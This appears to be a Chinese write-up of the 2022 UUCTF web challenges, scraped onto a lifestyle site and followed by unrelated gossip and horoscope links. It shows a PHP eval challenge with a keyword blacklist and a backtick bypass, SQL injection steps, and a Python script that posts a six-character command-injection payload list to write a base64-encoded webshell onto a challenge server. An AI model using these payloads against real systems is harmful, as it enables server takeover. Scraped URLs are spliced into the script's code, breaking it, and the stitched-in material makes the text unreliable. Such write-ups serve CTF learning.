2022UUCTF--WEB _生活百科

websign无法右键禁用js后看源码

文章插图
ez_rce -- 闭合【2022UUCTF--WEB】源码，禁用的东西挺多的仔细发现 ? <> `没有禁用，闭合标签反引号执行命令

## 放弃把，小伙子，你真的不会RCE,何必在此纠结呢？？？？？？？？？？？？if(isset($_GET['code'])){$code=$_GET['code'];if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){echo '看看你输入的参数！！！不叫样子！！';echo '<br>';eval($code);}else{die("你想干什么？？？？？？？？？");}}else{echo "居然都不输入参数，可恶!!!!!!!!!";show_source(__FILE__);}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wkx4nqjg-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084645846.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8KGVTDW-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084658608.png)]
nl输出

文章插图
ezsql -- 输入反向直接给出了查询语句

文章插图
发现输入 11')--+ 显示的是 +--)'11完全反过来了

文章插图
首先使用万能密码试试

文章插图
发现即使输入时正确的账号密码也不会回显flag
找列数2列

文章插图
这里过滤了or 双写绕过，查找表名和数据库名

文章插图
查列名UUCTF

文章插图
查内容

文章插图
ezrce -- 6字符RCEhint：这是一个命令执行接口

我知道咯这是六字符起初我输入>nl 回显命令执行失败我以为没有运行所以没写
所以说不可以完全信回显

我们要先找到写文件写的目录 echo 一下，文件写在./tmp/

文章插图
方法一

>nl* /*>d第一个：创建一个叫nl的文件* /*>d 意思就是 nl /*>f第一个*就是将ls列出文件名第一个当作命令 其他当作参数

文章插图
方法二前置知识

>a 在Linux会创建一个叫a的文件*>v 会将ls列出的第一个文件名当作命令 其余当作参数执行*v>0 等价于 rev v >0 反转sh 0 将0文件的内容当作命令执行ls -th 按照文件的创建时间（后创建先列出）ls -t就可以 这里加上h是为了按照 sl ht- f\>排列linux下换行执行命令：ech\o\ 111

文章插图
跑脚本，写木马

url="http://43.142.108.3:28933/post.php"print("[+]start attack!!!")with open("5字符RCE.txt", "r") as f:for i in f:data = https://www.huyubaike.com/biancheng/{"cmd": f"{i.strip()}"}requests.post(url=url,data=https://www.huyubaike.com/biancheng/data)resp = requests.get("http://43.142.108.3:28933/tmp/1.php")if resp.status_code == requests.codes.ok:print("[*]Attack success!!!")5字符RCE.txt>dir>sl>ht->f\>*>v>rev*v>0>hp>1.p\\>d\>\\>\ -\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\ \\>ech\\sh 0sh f
上一页
1
2
3
4
5
下一页
		  	


经验总结扩展阅读

           
                  
              
                  活了一把年纪了|婚礼上，我遇到了妻子以前的恩客，才知妻子之前的经历我该原谅吗 
                
                   
                
              
            

                  
              
                  夏天睡衣多久洗一次比较好 
                
                   
                
              
            

                  
              
                  女神“不老女神”林志玲，46岁依然肤白貌美，她的养生秘籍终于公开了 
                
                   
                
              
            

                  
              
                  拉玛十世|情断慕尼黑，拉玛十世已逾半年未回德国有原因，他并非要改过自新 
                
                   
                
              
            

                  
              
                  牛宝宝取名宜用字火 2021男孩女孩佳名推荐集锦 
                
                   
                
              
            

                  
              
                  发根在哪个位置? 
                
                   
                
              
            

                  
              
                  十二星座男最怕听到恋人的一句话 
                
                   
                
              
            

                  
              
                  发票自助领用机怎么用,自助发票机必须本人去买发票吗 
                
                   
                
              
            

                  
              
                  美容 人人都能驾驭的5款短发造型，随手一拨都是气质感 
                
                   
                
              
            

                  
              
                  快递能寄药吗 
                
                   
                
              
            

                  
              
                  世界首个唾液孕检试剂盒即将上市 唾液孕检试剂盒怎么使用准确率高吗 
                
                   
                
              
            

                  
              
                  秦始皇|霍金去世前曾称“秦始皇还活着，只是走不出地宫”，这事是真的？ 
                
                   
                
              
            

                  
              
                  春联讲究什么,春联讲究什么 
                
                   
                
              
            

                  
              
                  水蒸蛋要蒸多久,水蒸蛋蒸多久 
                
                   
                
              
            

                  
              
                  过年拜神应该注意什么 
                
                   
                
              
            

                  
              
                  |祝福情深 祝福毕业生前程似锦 
                
                   
                
              
            

                  
              
                  属兔人2022年9月健康运势怎么样 属兔人2022年9月运势完整版 
                
                   
                
              
            

                  
              
                  丁克族流行吗？ 丁克族老了会后悔吗？ 
                
                   
                
              
            

                  
              
                  每个人心里都有一个关于爱情的梦 频率相同的人，才是往后路上的最佳伴侣 
                
                   
                
              
            

                  
              
                  何药师健康科普|长春胺和甲钴胺有什么区别？保护脑细胞和神经哪个更好？药师告诉您 
                
                   
                
              
            

          

2023年最幸福的星座情侣 无法抵抗的吸引力 

哪些星座女生无法抵挡制服诱惑 

12月坠入甜蜜爱情中无法自拔的3星座 完美邂逅良缘 

电脑无法启动开不了机怎么办（电脑能正常启动但是无法进入系统) 

电脑无法开机进不了系统怎么解决（win10开机后假死黑屏) 

windows启动不了开不了机怎么办（笔记本无法启动windows) 

在爱情中让人无法错过的三大星座女 

日久不生情，即使陪伴再久也无法相爱的星座 

大S 爆具俊晔打包回韩国，称无法满足大S，已与前女友蔡妍打得火热 

失恋后，无法从前任阴影中走出的星座